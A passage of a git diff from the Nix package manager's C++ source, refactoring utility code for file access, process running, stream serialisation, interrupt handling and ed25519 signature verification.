+ */ +struct PosixSourceAccessor : virtual SourceAccessor +{ + /** + * Optional root path to prefix all operations into the native file + * system. This allows prepending funny things like `C:\` that + * `CanonPath` intentionally doesn't support. + */ + const std::filesystem::path root; + + PosixSourceAccessor(); + PosixSourceAccessor(std::filesystem::path && root); + + /** + * The most recent mtime seen by lstat(). This is a hack to + * support dumpPathAndGetMtime(). Should remove this eventually. + */ + time_t mtime = 0; + + void readFile( + const CanonPath & path, + Sink & sink, + std::function sizeCallback) override; + + bool pathExists(const CanonPath & path) override; + + std::optional maybeLstat(const CanonPath & path) override; + + DirEntries readDirectory(const CanonPath & path) override; + + std::string readLink(const CanonPath & path) override; + + std::optional getPhysicalPath(const CanonPath & path) override; + + /** + * Create a `PosixSourceAccessor` and `CanonPath` corresponding to + * some native path. + * + * The `PosixSourceAccessor` is rooted as far up the tree as + * possible, (e.g. on Windows it could scoped to a drive like + * `C:\`). This allows more `..` parent accessing to work. + * + * See + * [`std::filesystem::path::root_path`](https://en.cppreference.com/w/cpp/filesystem/path/root_path) + * and + * [`std::filesystem::path::relative_path`](https://en.cppreference.com/w/cpp/filesystem/path/relative_path). + */ + static SourcePath createAtRoot(const std::filesystem::path & path); + +private: + + /** + * Throw an error if `path` or any of its ancestors are symlinks. + */ + void assertNoSymlinks(CanonPath path); + + std::optional cachedLstat(const CanonPath & path); + + std::filesystem::path makeAbsPath(const CanonPath & path); +}; + +} diff --git a/src/libutil/processes.hh b/src/libutil/processes.hh new file mode 100644 index 000000000..bbbe7dcab --- /dev/null +++ b/src/libutil/processes.hh @@ -0,0 +1,138 @@ +#pragma once +///@file + +#include "types.hh" +#include "error.hh" +#include "file-descriptor.hh" +#include "logging.hh" +#include "ansicolor.hh" + +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +namespace nix { + +struct Sink; +struct Source; + +class Pid +{ +#ifndef _WIN32 + pid_t pid = -1; + bool separatePG = false; + int killSignal = SIGKILL; +#else + AutoCloseFD pid = INVALID_DESCRIPTOR; +#endif +public: + Pid(); +#ifndef _WIN32 + Pid(pid_t pid); + void operator =(pid_t pid); + operator pid_t(); +#else + Pid(AutoCloseFD pid); + void operator =(AutoCloseFD pid); +#endif + ~Pid(); + int kill(); + int wait(); + + // TODO: Implement for Windows +#ifndef _WIN32 + void setSeparatePG(bool separatePG); + void setKillSignal(int signal); + pid_t release(); +#endif +}; + + +#ifndef _WIN32 +/** + * Kill all processes running under the specified uid by sending them + * a SIGKILL. + */ +void killUser(uid_t uid); +#endif + + +/** + * Fork a process that runs the given function, and return the child + * pid to the caller. + */ +struct ProcessOptions +{ + std::string errorPrefix = ""; + bool dieWithParent = true; + bool runExitHandlers = false; + bool allowVfork = false; + /** + * use clone() with the specified flags (Linux only) + */ + int cloneFlags = 0; +}; + +#ifndef _WIN32 +pid_t startProcess(std::function fun, const ProcessOptions & options = ProcessOptions()); +#endif + +/** + * Run a program and return its stdout in a string (i.e., like the + * shell backtick operator). + */ +std::string runProgram(Path program, bool lookupPath = false, + const Strings & args = Strings(), + const std::optional & input = {}, bool isInteractive = false); + +struct RunOptions +{ + Path program; + bool lookupPath = true; + Strings args; +#ifndef _WIN32 + std::optional uid; + std::optional gid; +#endif + std::optional chdir; + std::optional> environment; + std::optional input; + Source * standardIn = nullptr; + Sink * standardOut = nullptr; + bool mergeStderrToStdout = false; + bool isInteractive = false; +}; + +std::pair runProgram(RunOptions && options); + +void runProgram2(const RunOptions & options); + + +class ExecError : public Error +{ +public: + int status; + + template + ExecError(int status, const Args & ... args) + : Error(args...), status(status) + { } +}; + +/** + * Convert the exit status of a child as returned by wait() into an + * error string. + */ +std::string statusToString(int status); + +bool statusOk(int status); + +} diff --git a/src/libutil/ref.hh b/src/libutil/ref.hh index 7d38b059c..3d0e64ab4 100644 --- a/src/libutil/ref.hh +++ b/src/libutil/ref.hh @@ -1,13 +1,15 @@ #pragma once +///@file #include -#include #include namespace nix { -/* A simple non-nullable reference-counted pointer. Actually a wrapper - around std::shared_ptr that prevents null constructions. */ +/** + * A simple non-nullable reference-counted pointer. Actually a wrapper + * around std::shared_ptr that prevents null constructions. + */ template class ref { @@ -21,14 +23,14 @@ public: : p(r.p) { } - explicit ref(const std::shared_ptr & p) + explicit ref(const std::shared_ptr & p) : p(p) { if (!p) throw std::invalid_argument("null pointer cast to ref"); } - explicit ref(T * p) + explicit ref(T * p) : p(p) { if (!p) @@ -73,6 +75,8 @@ public: return ref((std::shared_ptr) p); } + ref & operator=(ref const & rhs) = default; + bool operator == (const ref & other) const { return p == other.p; @@ -83,9 +87,9 @@ public: return p != other.p; } - bool operator < (const ref & other) const + auto operator <=> (const ref & other) const { - return p < other.p; + return p <=> other.p; } private: diff --git a/src/libstore/references.cc b/src/libutil/references.cc similarity index 54% rename from src/libstore/references.cc rename to src/libutil/references.cc index 3bb297fc8..b30e62c7b 100644 --- a/src/libstore/references.cc +++ b/src/libutil/references.cc @@ -1,11 +1,11 @@ #include "references.hh" #include "hash.hh" -#include "util.hh" #include "archive.hh" #include #include #include +#include namespace nix { @@ -23,8 +23,8 @@ static void search( static bool isBase32[256]; std::call_once(initialised, [](){ for (unsigned int i = 0; i < 256; ++i) isBase32[i] = false; - for (unsigned int i = 0; i < base32Chars.size(); ++i) - isBase32[(unsigned char) base32Chars[i]] = true; + for (unsigned int i = 0; i < nix32Chars.size(); ++i) + isBase32[(unsigned char) nix32Chars[i]] = true; }); for (size_t i = 0; i + refLength <= s.size(); ) { @@ -39,8 +39,7 @@ static void search( if (!match) continue; std::string ref(s.substr(i, refLength)); if (hashes.erase(ref)) { - debug(format("found reference to '%1%' at offset '%2%'") - % ref % i); + debug("found reference to '%1%' at offset '%2%'", ref, i); seen.insert(ref); } ++i; @@ -67,69 +66,20 @@ void RefScanSink::operator () (std::string_view data) } -PathRefScanSink::PathRefScanSink(StringSet && hashes, std::map && backMap) - : RefScanSink(std::move(hashes)) - , backMap(std::move(backMap)) -{ } - -PathRefScanSink PathRefScanSink::fromPaths(const StorePathSet & refs) -{ - StringSet hashes; - std::map backMap; - - for (auto & i : refs) { - std::string hashPart(i.hashPart()); - auto inserted = backMap.emplace(hashPart, i).second; - assert(inserted); - hashes.insert(hashPart); - } - - return PathRefScanSink(std::move(hashes), std::move(backMap)); -} - -StorePathSet PathRefScanSink::getResultPaths() -{ - /* Map the hashes found back to their store paths. */ - StorePathSet found; - for (auto & i : getResult()) { - auto j = backMap.find(i); - assert(j != backMap.end()); - found.insert(j->second); - } - - return found; -} - - -std::pair scanForReferences( - const std::string & path, - const StorePathSet & refs) -{ - HashSink hashSink { htSHA256 }; - auto found = scanForReferences(hashSink, path, refs); - auto hash = hashSink.finish(); - return std::pair(found, hash); -} - -StorePathSet scanForReferences( - Sink & toTee, - const Path & path, - const StorePathSet & refs) -{ - PathRefScanSink refsSink = PathRefScanSink::fromPaths(refs); - TeeSink sink { refsSink, toTee }; - - /* Look for the hashes in the NAR dump of the path. */ - dumpPath(path, sink); - - return refsSink.getResultPaths(); -} - - RewritingSink::RewritingSink(const std::string & from, const std::string & to, Sink & nextSink) - : from(from), to(to), nextSink(nextSink) + : RewritingSink({{from, to}}, nextSink) { - assert(from.size() == to.size()); +} + +RewritingSink::RewritingSink(const StringMap & rewrites, Sink & nextSink) + : rewrites(rewrites), nextSink(nextSink) +{ + std::string::size_type maxRewriteSize = 0; + for (auto & [from, to] : rewrites) { + assert(from.size() == to.size()); + maxRewriteSize = std::max(maxRewriteSize, from.size()); + } + this->maxRewriteSize = maxRewriteSize; } void RewritingSink::operator () (std::string_view data) @@ -137,13 +87,13 @@ void RewritingSink::operator () (std::string_view data) std::string s(prev); s.append(data); - size_t j = 0; - while ((j = s.find(from, j)) != std::string::npos) { - matches.push_back(pos + j); - s.replace(j, from.size(), to); - } + s = rewriteStrings(s, rewrites); - prev = s.size() < from.size() ? s : std::string(s, s.size() - from.size() + 1, from.size() - 1); + prev = s.size() < maxRewriteSize + ? s + : maxRewriteSize == 0 + ? "" + : std::string(s, s.size() - maxRewriteSize + 1, maxRewriteSize - 1); auto consumed = s.size() - prev.size(); @@ -160,8 +110,8 @@ void RewritingSink::flush() prev.clear(); } -HashModuloSink::HashModuloSink(HashType ht, const std::string & modulus) - : hashSink(ht) +HashModuloSink::HashModuloSink(HashAlgorithm ha, const std::string & modulus) + : hashSink(ha) , rewritingSink(modulus, std::string(modulus.size(), 0), hashSink) { } diff --git a/src/libstore/references.hh b/src/libutil/references.hh similarity index 57% rename from src/libstore/references.hh rename to src/libutil/references.hh index 6f381f96c..8bc9f7ec9 100644 --- a/src/libstore/references.hh +++ b/src/libutil/references.hh @@ -1,14 +1,10 @@ #pragma once +///@file #include "hash.hh" -#include "path.hh" namespace nix { -std::pair scanForReferences(const Path & path, const StorePathSet & refs); - -StorePathSet scanForReferences(Sink & toTee, const Path & path, const StorePathSet & refs); - class RefScanSink : public Sink { StringSet hashes; @@ -27,28 +23,18 @@ public: void operator () (std::string_view data) override; }; -class PathRefScanSink : public RefScanSink -{ - std::map backMap; - - PathRefScanSink(StringSet && hashes, std::map && backMap); - -public: - - static PathRefScanSink fromPaths(const StorePathSet & refs); - - StorePathSet getResultPaths(); -}; - struct RewritingSink : Sink { - std::string from, to, prev; + const StringMap rewrites; + std::string::size_type maxRewriteSize; + std::string prev; Sink & nextSink; uint64_t pos = 0; std::vector matches; RewritingSink(const std::string & from, const std::string & to, Sink & nextSink); + RewritingSink(const StringMap & rewrites, Sink & nextSink); void operator () (std::string_view data) override; @@ -60,7 +46,7 @@ struct HashModuloSink : AbstractHashSink HashSink hashSink; RewritingSink rewritingSink; - HashModuloSink(HashType ht, const std::string & modulus); + HashModuloSink(HashAlgorithm ha, const std::string & modulus); void operator () (std::string_view data) override; diff --git a/src/libutil/regex-combinators.hh b/src/libutil/regex-combinators.hh new file mode 100644 index 000000000..87d6aa678 --- /dev/null +++ b/src/libutil/regex-combinators.hh @@ -0,0 +1,31 @@ +#pragma once +///@file + +#include + +namespace nix::regex { + +// TODO use constexpr string building like +// https://github.com/akrzemi1/static_string/blob/master/include/ak_toolkit/static_string.hpp + +static inline std::string either(std::string_view a, std::string_view b) +{ + return std::string { a } + "|" + b; +} + +static inline std::string group(std::string_view a) +{ + return std::string { "(" } + a + ")"; +} + +static inline std::string many(std::string_view a) +{ + return std::string { "(?:" } + a + ")*"; +} + +static inline std::string list(std::string_view a) +{ + return std::string { a } + many(group("," + a)); +} + +} diff --git a/src/libstore/repair-flag.hh b/src/libutil/repair-flag.hh similarity index 91% rename from src/libstore/repair-flag.hh rename to src/libutil/repair-flag.hh index a13cda312..f412d6a20 100644 --- a/src/libstore/repair-flag.hh +++ b/src/libutil/repair-flag.hh @@ -1,4 +1,5 @@ #pragma once +///@file namespace nix { diff --git a/src/libutil/serialise.cc b/src/libutil/serialise.cc index c653db9d0..5352a436b 100644 --- a/src/libutil/serialise.cc +++ b/src/libutil/serialise.cc @@ -1,5 +1,5 @@ #include "serialise.hh" -#include "util.hh" +#include "signals.hh" #include #include @@ -7,6 +7,11 @@ #include +#ifdef _WIN32 +# include +# include "windows-error.hh" +#endif + namespace nix { @@ -20,7 +25,7 @@ void BufferedSink::operator () (std::string_view data) buffer size. */ if (bufPos + data.size() >= bufSize) { flush(); - write(data); + writeUnbuffered(data); break; } /* Otherwise, copy the bytes to the buffer. Flush the buffer @@ -38,7 +43,7 @@ void BufferedSink::flush() if (bufPos == 0) return; size_t n = bufPos; bufPos = 0; // don't trigger the assert() in ~BufferedSink() - write({buffer.get(), n}); + writeUnbuffered({buffer.get(), n}); } @@ -48,12 +53,12 @@ FdSink::~FdSink() } -void FdSink::write(std::string_view data) +void FdSink::writeUnbuffered(std::string_view data) { written += data.size(); try { writeFull(fd, data); - } catch (SysError & e) { + } catch (SystemError & e) { _good = false; throw; } @@ -74,11 +79,15 @@ void Source::operator () (char * data, size_t len) } } +void Source::operator () (std::string_view data) +{ + (*this)((char *)data.data(), data.size()); +} void Source::drainInto(Sink & sink) { std::string s; - std::vector buf(8192); + std::array buf; while (true) { size_t n; try { @@ -122,13 +131,22 @@ bool BufferedSource::hasData() size_t FdSource::readUnbuffered(char * data, size_t len) { +#ifdef _WIN32 + DWORD n; + checkInterrupt(); + if (!::ReadFile(fd, data, len, &n, NULL)) { + _good = false; + throw windows::WinError("ReadFile when FdSource::readUnbuffered"); + } +#else ssize_t n; do { checkInterrupt(); n = ::read(fd, data, len); } while (n == -1 && errno == EINTR); if (n == -1) { _good = false; throw SysError("reading from file"); } - if (n == 0) { _good = false; throw EndOfFile("unexpected end-of-file"); } + if (n == 0) { _good = false; throw EndOfFile(std::string(*endOfFileError)); } +#endif read += n; return n; } @@ -153,39 +171,6 @@ size_t StringSource::read(char * data, size_t len) #error Coroutines are broken in this version of Boost! #endif -/* A concrete datatype allow virtual dispatch of stack allocation methods. */ -struct VirtualStackAllocator { - StackAllocator *allocator = StackAllocator::defaultAllocator; - - boost::context::stack_context allocate() { - return allocator->allocate(); - } - - void deallocate(boost::context::stack_context sctx) { - allocator->deallocate(sctx); - } -}; - - -/* This class reifies the default boost coroutine stack allocation strategy with - a virtual interface. */ -class DefaultStackAllocator : public StackAllocator { - boost::coroutines2::default_stack stack; - - boost::context::stack_context allocate() { - return stack.allocate(); - } - - void deallocate(boost::context::stack_context sctx) { - stack.deallocate(sctx); - } -}; - -static DefaultStackAllocator defaultAllocatorSingleton; - -StackAllocator *StackAllocator::defaultAllocator = &defaultAllocatorSingleton; - - std::unique_ptr sourceToSink(std::function fun) { struct SourceToSink : FinishSink @@ -206,14 +191,13 @@ std::unique_ptr sourceToSink(std::function fun) if (in.empty()) return; cur = in; - if (!coro) - coro = coro_t::push_type(VirtualStackAllocator{}, [&](coro_t::pull_type & yield) { - LambdaSource source([&](char *out, size_t out_len) { + if (!coro) { + coro = coro_t::push_type([&](coro_t::pull_type & yield) { + LambdaSource source([&](char * out, size_t out_len) { if (cur.empty()) { yield(); - if (yield.get()) { - return (size_t)0; - } + if (yield.get()) + throw EndOfFile("coroutine has finished"); } size_t n = std::min(cur.size(), out_len); @@ -223,18 +207,19 @@ std::unique_ptr sourceToSink(std::function fun) }); fun(source); }); + } - if (!*coro) { abort(); } + if (!*coro) { unreachable(); } - if (!cur.empty()) (*coro)(false); + if (!cur.empty()) { + (*coro)(false); + } } void finish() override { - if (!coro) return; - if (!*coro) abort(); - (*coro)(true); - if (*coro) abort(); + if (coro && *coro) + (*coro)(true); } }; @@ -264,18 +249,21 @@ std::unique_ptr sinkToSource( size_t read(char * data, size_t len) override { - if (!coro) - coro = coro_t::pull_type(VirtualStackAllocator{}, [&](coro_t::push_type & yield) { + if (!coro) { + coro = coro_t::pull_type([&](coro_t::push_type & yield) { LambdaSink sink([&](std::string_view data) { if (!data.empty()) yield(std::string(data)); }); fun(sink); }); + } - if (!*coro) { eof(); abort(); } + if (!*coro) { eof(); unreachable(); } if (pos == cur.size()) { - if (!cur.empty()) (*coro)(); + if (!cur.empty()) { + (*coro)(); + } cur = coro->get(); pos = 0; } @@ -415,7 +403,7 @@ Error readError(Source & source) auto msg = readString(source); ErrorInfo info { .level = level, - .msg = hintformat(std::move(format("%s") % msg)), + .msg = HintFmt(msg), }; auto havePos = readNum(source); assert(havePos == 0); @@ -424,7 +412,7 @@ Error readError(Source & source) havePos = readNum(source); assert(havePos == 0); info.traces.push_back(Trace { - .hint = hintformat(std::move(format("%s") % readString(source))) + .hint = HintFmt(readString(source)) }); } return Error(std::move(info)); diff --git a/src/libutil/serialise.hh b/src/libutil/serialise.hh index 7da5b07fd..e9f3e3a4a 100644 --- a/src/libutil/serialise.hh +++ b/src/libutil/serialise.hh @@ -1,16 +1,20 @@ #pragma once +///@file #include #include "types.hh" #include "util.hh" +#include "file-descriptor.hh" namespace boost::context { struct stack_context; } namespace nix { -/* Abstract destination of binary data. */ +/** + * Abstract destination of binary data. + */ struct Sink { virtual ~Sink() { } @@ -18,7 +22,9 @@ struct Sink virtual bool good() { return true; } }; -/* Just throws away data. */ +/** + * Just throws away data. + */ struct NullSink : Sink { void operator () (std::string_view data) override @@ -32,8 +38,10 @@ struct FinishSink : virtual Sink }; -/* A buffered abstract sink. Warning: a BufferedSink should not be - used from multiple threads concurrently. */ +/** + * A buffered abstract sink. Warning: a BufferedSink should not be + * used from multiple threads concurrently. + */ struct BufferedSink : virtual Sink { size_t bufSize, bufPos; @@ -46,23 +54,32 @@ struct BufferedSink : virtual Sink void flush(); - virtual void write(std::string_view data) = 0; +protected: + + virtual void writeUnbuffered(std::string_view data) = 0; }; -/* Abstract source of binary data. */ +/** + * Abstract source of binary data. + */ struct Source { virtual ~Source() { } - /* Store exactly ‘len’ bytes in the buffer pointed to by ‘data’. - It blocks until all the requested data is available, or throws - an error if it is not going to be available. */ + /** + * Store exactly ‘len’ bytes in the buffer pointed to by ‘data’. + * It blocks until all the requested data is available, or throws + * an error if it is not going to be available. + */ void operator () (char * data, size_t len); + void operator () (std::string_view data); - /* Store up to ‘len’ in the buffer pointed to by ‘data’, and - return the number of bytes stored. It blocks until at least - one byte is available. */ + /** + * Store up to ‘len’ in the buffer pointed to by ‘data’, and + * return the number of bytes stored. It blocks until at least + * one byte is available. + */ virtual size_t read(char * data, size_t len) = 0; virtual bool good() { return true; } @@ -73,8 +90,10 @@ struct Source }; -/* A buffered abstract source. Warning: a BufferedSource should not be - used from multiple threads concurrently. */ +/** + * A buffered abstract source. Warning: a BufferedSource should not be + * used from multiple threads concurrently. + */ struct BufferedSource : Source { size_t bufSize, bufPosIn, bufPosOut; @@ -88,33 +107,37 @@ struct BufferedSource : Source bool hasData(); protected: - /* Underlying read call, to be overridden. */ + /** + * Underlying read call, to be overridden. + */ virtual size_t readUnbuffered(char * data, size_t len) = 0; }; -/* A sink that writes data to a file descriptor. */ +/** + * A sink that writes data to a file descriptor. + */ struct FdSink : BufferedSink { - int fd; + Descriptor fd; size_t written = 0; - FdSink() : fd(-1) { } - FdSink(int fd) : fd(fd) { } + FdSink() : fd(INVALID_DESCRIPTOR) { } + FdSink(Descriptor fd) : fd(fd) { } FdSink(FdSink&&) = default; FdSink & operator=(FdSink && s) { flush(); fd = s.fd; - s.fd = -1; + s.fd = INVALID_DESCRIPTOR; written = s.written; return *this; } ~FdSink(); - void write(std::string_view data) override; + void writeUnbuffered(std::string_view data) override; bool good() override; @@ -123,23 +146,20 @@ private: }; -/* A source that reads data from a file descriptor. */ +/** + * A source that reads data from a file descriptor. + */ struct FdSource : BufferedSource { - int fd; + Descriptor fd; size_t read = 0; + BackedStringView endOfFileError{"unexpected end-of-file"}; - FdSource() : fd(-1) { } - FdSource(int fd) : fd(fd) { } - FdSource(FdSource&&) = default; + FdSource() : fd(INVALID_DESCRIPTOR) { } + FdSource(Descriptor fd) : fd(fd) { } + FdSource(FdSource &&) = default; - FdSource& operator=(FdSource && s) - { - fd = s.fd; - s.fd = -1; - read = s.read; - return *this; - } + FdSource & operator=(FdSource && s) = default; bool good() override; protected: @@ -149,7 +169,9 @@ private: }; -/* A sink that writes data to a string. */ +/** + * A sink that writes data to a string. + */ struct StringSink : Sink { std::string s; @@ -163,7 +185,9 @@ struct StringSink : Sink }; -/* A source that reads data from a string. */ +/** + * A source that reads data from a string. + */ struct StringSource : Source { std::string_view s; @@ -173,12 +197,14 @@ struct StringSource : Source }; -/* A sink that writes all incoming data to two other sinks. */ +/** + * A sink that writes all incoming data to two other sinks. + */ struct TeeSink : Sink { Sink & sink1, & sink2; TeeSink(Sink & sink1, Sink & sink2) : sink1(sink1), sink2(sink2) { } - virtual void operator () (std::string_view data) + virtual void operator () (std::string_view data) override { sink1(data); sink2(data); @@ -186,14 +212,16 @@ struct TeeSink : Sink }; -/* Adapter class of a Source that saves all data read to a sink. */ +/** + * Adapter class of a Source that saves all data read to a sink. + */ struct TeeSource : Source { Source & orig; Sink & sink; TeeSource(Source & orig, Sink & sink) : orig(orig), sink(sink) { } - size_t read(char * data, size_t len) + size_t read(char * data, size_t len) override { size_t n = orig.read(data, len); sink({data, n}); @@ -201,14 +229,16 @@ struct TeeSource : Source } }; -/* A reader that consumes the original Source until 'size'. */ +/** + * A reader that consumes the original Source until 'size'. + */ struct SizedSource : Source { Source & orig; size_t remain; SizedSource(Source & orig, size_t size) : orig(orig), remain(size) { } - size_t read(char * data, size_t len) + size_t read(char * data, size_t len) override { if (this->remain <= 0) { throw EndOfFile("sized: unexpected end-of-file"); @@ -219,7 +249,9 @@ struct SizedSource : Source return n; } - /* Consume the original source until no remain data is left to consume. */ + /** + * Consume the original source until no remain data is left to consume. + */ size_t drainAll() { std::vector buf(8192); @@ -232,7 +264,9 @@ struct SizedSource : Source } }; -/* A sink that that just counts the number of bytes given to it */ +/** + * A sink that that just counts the number of bytes given to it + */ struct LengthSink : Sink { uint64_t length = 0; @@ -243,7 +277,29 @@ struct LengthSink : Sink } }; -/* Convert a function into a sink. */ +/** + * A wrapper source that counts the number of bytes read from it. + */ +struct LengthSource : Source +{ + Source & next; + + LengthSource(Source & next) : next(next) + { } + + uint64_t total = 0; + + size_t read(char * data, size_t len) override + { + auto n = next.read(data, len); + total += n; + return n; + } +}; + +/** + * Convert a function into a sink. + */ struct LambdaSink : Sink { typedef std::function lambda_t; @@ -259,7 +315,9 @@ struct LambdaSink : Sink }; -/* Convert a function into a source. */ +/** + * Convert a function into a source. + */ struct LambdaSource : Source { typedef std::function lambda_t; @@ -274,8 +332,10 @@ struct LambdaSource : Source } }; -/* Chain two sources together so after the first is exhausted, the second is - used */ +/** + * Chain two sources together so after the first is exhausted, the second is + * used + */ struct ChainSource : Source { Source & source1, & source2; @@ -289,8 +349,10 @@ struct ChainSource : Source std::unique_ptr sourceToSink(std::function fun); -/* Convert a function that feeds data into a Sink into a Source. The - Source executes the function as a coroutine. */ +/** + * Convert a function that feeds data into a Sink into a Source. The + * Source executes the function as a coroutine. + */ std::unique_ptr sinkToSource( std::function fun, std::function eof = []() { @@ -376,7 +438,9 @@ Source & operator >> (Source & in, bool & b) Error readError(Source & source); -/* An adapter that converts a std::basic_istream into a source. */ +/** + * An adapter that converts a std::basic_istream into a source. + */ struct StreamToSourceAdapter : Source { std::shared_ptr> istream; @@ -399,13 +463,14 @@ struct StreamToSourceAdapter : Source }; -/* A source that reads a distinct format of concatenated chunks back into its - logical form, in order to guarantee a known state to the original stream, - even in the event of errors. - - Use with FramedSink, which also allows the logical stream to be terminated - in the event of an exception. -*/ +/** + * A source that reads a distinct format of concatenated chunks back into its + * logical form, in order to guarantee a known state to the original stream, + * even in the event of errors. + * + * Use with FramedSink, which also allows the logical stream to be terminated + * in the event of an exception. + */ struct FramedSource : Source { Source & from; @@ -418,13 +483,17 @@ struct FramedSource : Source ~FramedSource() { - if (!eof) { - while (true) { - auto n = readInt(from); - if (!n) break; - std::vector data(n); - from(data.data(), n); + try { + if (!eof) { + while (true) { + auto n = readInt(from); + if (!n) break; + std::vector data(n); + from(data.data(), n); + } } + } catch (...) { + ignoreException(); } } @@ -450,11 +519,12 @@ struct FramedSource : Source } }; -/* Write as chunks in the format expected by FramedSource. - - The exception_ptr reference can be used to terminate the stream when you - detect that an error has occurred on the remote end. -*/ +/** + * Write as chunks in the format expected by FramedSource. + * + * The exception_ptr reference can be used to terminate the stream when you + * detect that an error has occurred on the remote end. + */ struct FramedSink : nix::BufferedSink { BufferedSink & to; @@ -473,7 +543,7 @@ struct FramedSink : nix::BufferedSink } } - void write(std::string_view data) override + void writeUnbuffered(std::string_view data) override { /* Don't send more data if the remote has encountered an error. */ @@ -487,18 +557,4 @@ struct FramedSink : nix::BufferedSink }; }; -/* Stack allocation strategy for sinkToSource. - Mutable to avoid a boehm gc dependency in libutil. - - boost::context doesn't provide a virtual class, so we define our own. - */ -struct StackAllocator { - virtual boost::context::stack_context allocate() = 0; - virtual void deallocate(boost::context::stack_context sctx) = 0; - - /* The stack allocator to use in sinkToSource and potentially elsewhere. - It is reassigned by the initGC() method in libexpr. */ - static StackAllocator *defaultAllocator; -}; - } diff --git a/src/libutil/signals.hh b/src/libutil/signals.hh new file mode 100644 index 000000000..8bff345c3 --- /dev/null +++ b/src/libutil/signals.hh @@ -0,0 +1,65 @@ +#pragma once +///@file + +#include "types.hh" +#include "error.hh" +#include "logging.hh" + +#include + +namespace nix { + +/* User interruption. */ + +/** + * @note Does nothing on Windows + */ +static inline void setInterrupted(bool isInterrupted); + +/** + * @note Does nothing on Windows + */ +static inline bool getInterrupted(); + +/** + * @note Does nothing on Windows + */ +void setInterruptThrown(); + +/** + * @note Does nothing on Windows + */ +inline void checkInterrupt(); + +/** + * @note Never will happen on Windows + */ +MakeError(Interrupted, BaseError); + + +struct InterruptCallback +{ + virtual ~InterruptCallback() { }; +}; + +/** + * Register a function that gets called on SIGINT (in a non-signal + * context). + * + * @note Does nothing on Windows + */ +std::unique_ptr createInterruptCallback( + std::function callback); + +/** + * A RAII class that causes the current thread to receive SIGUSR1 when + * the signal handler thread receives SIGINT. That is, this allows + * SIGINT to be multiplexed to multiple threads. + * + * @note Does nothing on Windows + */ +struct ReceiveInterrupts; + +} + +#include "signals-impl.hh" diff --git a/src/libstore/crypto.cc b/src/libutil/signature/local-keys.cc similarity index 64% rename from src/libstore/crypto.cc rename to src/libutil/signature/local-keys.cc index 1027469c9..858b036f5 100644 --- a/src/libstore/crypto.cc +++ b/src/libutil/signature/local-keys.cc @@ -1,12 +1,12 @@ -#include "crypto.hh" -#include "util.hh" -#include "globals.hh" +#include "signature/local-keys.hh" +#include "file-system.hh" +#include "util.hh" #include namespace nix { -static std::pair split(std::string_view s) +BorrowedCryptoValue BorrowedCryptoValue::parse(std::string_view s) { size_t colon = s.find(':'); if (colon == std::string::npos || colon == 0) @@ -16,10 +16,10 @@ static std::pair split(std::string_view s) Key::Key(std::string_view s) { - auto ss = split(s); + auto ss = BorrowedCryptoValue::parse(s); - name = ss.first; - key = ss.second; + name = ss.name; + key = ss.payload; if (name == "" || key == "") throw Error("secret key is corrupt"); @@ -72,45 +72,34 @@ PublicKey::PublicKey(std::string_view s) throw Error("public key is not valid"); } -bool verifyDetached(const std::string & data, const std::string & sig, - const PublicKeys & publicKeys) +bool PublicKey::verifyDetached(std::string_view data, std::string_view sig) const { - auto ss = split(sig); + auto ss = BorrowedCryptoValue::parse(sig); - auto key = publicKeys.find(std::string(ss.first)); - if (key == publicKeys.end()) return false; + if (ss.name != std::string_view { name }) return false; - auto sig2 = base64Decode(ss.second); + return verifyDetachedAnon(data, ss.payload); +} + +bool PublicKey::verifyDetachedAnon(std::string_view data, std::string_view sig) const +{ + auto sig2 = base64Decode(sig); if (sig2.size() != crypto_sign_BYTES) throw Error("signature is not valid"); return crypto_sign_verify_detached((unsigned char *) sig2.data(), (unsigned char *) data.data(), data.size(), - (unsigned char *) key->second.key.data()) == 0; + (unsigned char *) key.data()) == 0; } -PublicKeys getDefaultPublicKeys() +bool verifyDetached(std::string_view data, std::string_view sig, const PublicKeys & publicKeys) { - PublicKeys publicKeys; + auto ss = BorrowedCryptoValue::parse(sig); - // FIXME: filter duplicates + auto key = publicKeys.find(std::string(ss.name)); + if (key == publicKeys.end()) return false; - for (auto s : settings.trustedPublicKeys.get()) { - PublicKey key(s); - publicKeys.emplace(key.name, key); - } - - for (auto secretKeyFile : settings.secretKeyFiles.get()) { - try { - SecretKey secretKey(readFile(secretKeyFile)); - publicKeys.emplace(secretKey.name, secretKey.toPublicKey()); - } catch (SysError & e) { - /* Ignore unreadable key files. That's normal in a - multi-user installation. */ - } - } - - return publicKeys; + return key->second.verifyDetachedAnon(data, ss.payload); } } diff --git a/src/libutil/signature/local-keys.hh b/src/libutil/signature/local-keys.hh new file mode 100644 index 000000000..4aafc1239 --- /dev/null +++ b/src/libutil/signature/local-keys.hh @@ -0,0 +1,103 @@ +#pragma once +///@file + +#include "types.hh" + +#include + +namespace nix { + +/** + * Except where otherwise noted, Nix serializes keys and signatures in + * the form: + * + * ``` + * : + * ``` + */ +struct BorrowedCryptoValue { + std::string_view name; + std::string_view payload; + + /** + * This splits on the colon, the user can then separated decode the + * Base64 payload separately. + */ + static BorrowedCryptoValue parse(std::string_view); +}; + +struct Key +{ + std::string name; + std::string key; + + /** + * Construct Key from a string in the format + * ‘:’. + */ + Key(std::string_view s); + + std::string to_string() const; + +protected: + Key(std::string_view name, std::string && key) + : name(name), key(std::move(key)) { } +}; + +struct PublicKey; + +struct SecretKey : Key +{ + SecretKey(std::string_view s); + + /** + * Return a detached signature of the given string. + */ + std::string signDetached(std::string_view s) const; + + PublicKey toPublicKey() const; + + static SecretKey generate(std::string_view name); + +private: + SecretKey(std::string_view name, std::string && key) + : Key(name, std::move(key)) { } +}; + +struct PublicKey : Key +{ + PublicKey(std::string_view data); + + /** + * @return true iff `sig` and this key's names match, and `sig` is a + * correct signature over `data` using the given public key. + */ + bool verifyDetached(std::string_view data, std::string_view sigs) const; + + /** + * @return true iff `sig` is a correct signature over `data` using the + * given public key. + * + * @param just the Base64 signature itself, not a colon-separated pair of a + * public key name and signature. + */ + bool verifyDetachedAnon(std::string_view data, std::string_view sigs) const; + +private: + PublicKey(std::string_view name, std::string && key) + : Key(name, std::move(key)) { } + friend struct SecretKey; +}; + +/** + * Map from key names to public keys + */ +typedef std::map PublicKeys; + +/** + * @return true iff ‘sig’ is a correct signature over ‘data’ using one + * of the given public keys. + */ +bool verifyDetached(std::string_view data, std::string_view sig, const PublicKeys & publicKeys); + +} diff --git a/src/libutil/signature/signer.cc b/src/libutil/signature/signer.cc new file mode 100644 index 000000000..0d26867b5 --- /dev/null +++ b/src/libutil/signature/signer.cc @@ -0,0 +1,23 @@ +#include "signature/signer.hh" +#include "error.hh" + +#include + +namespace nix { + 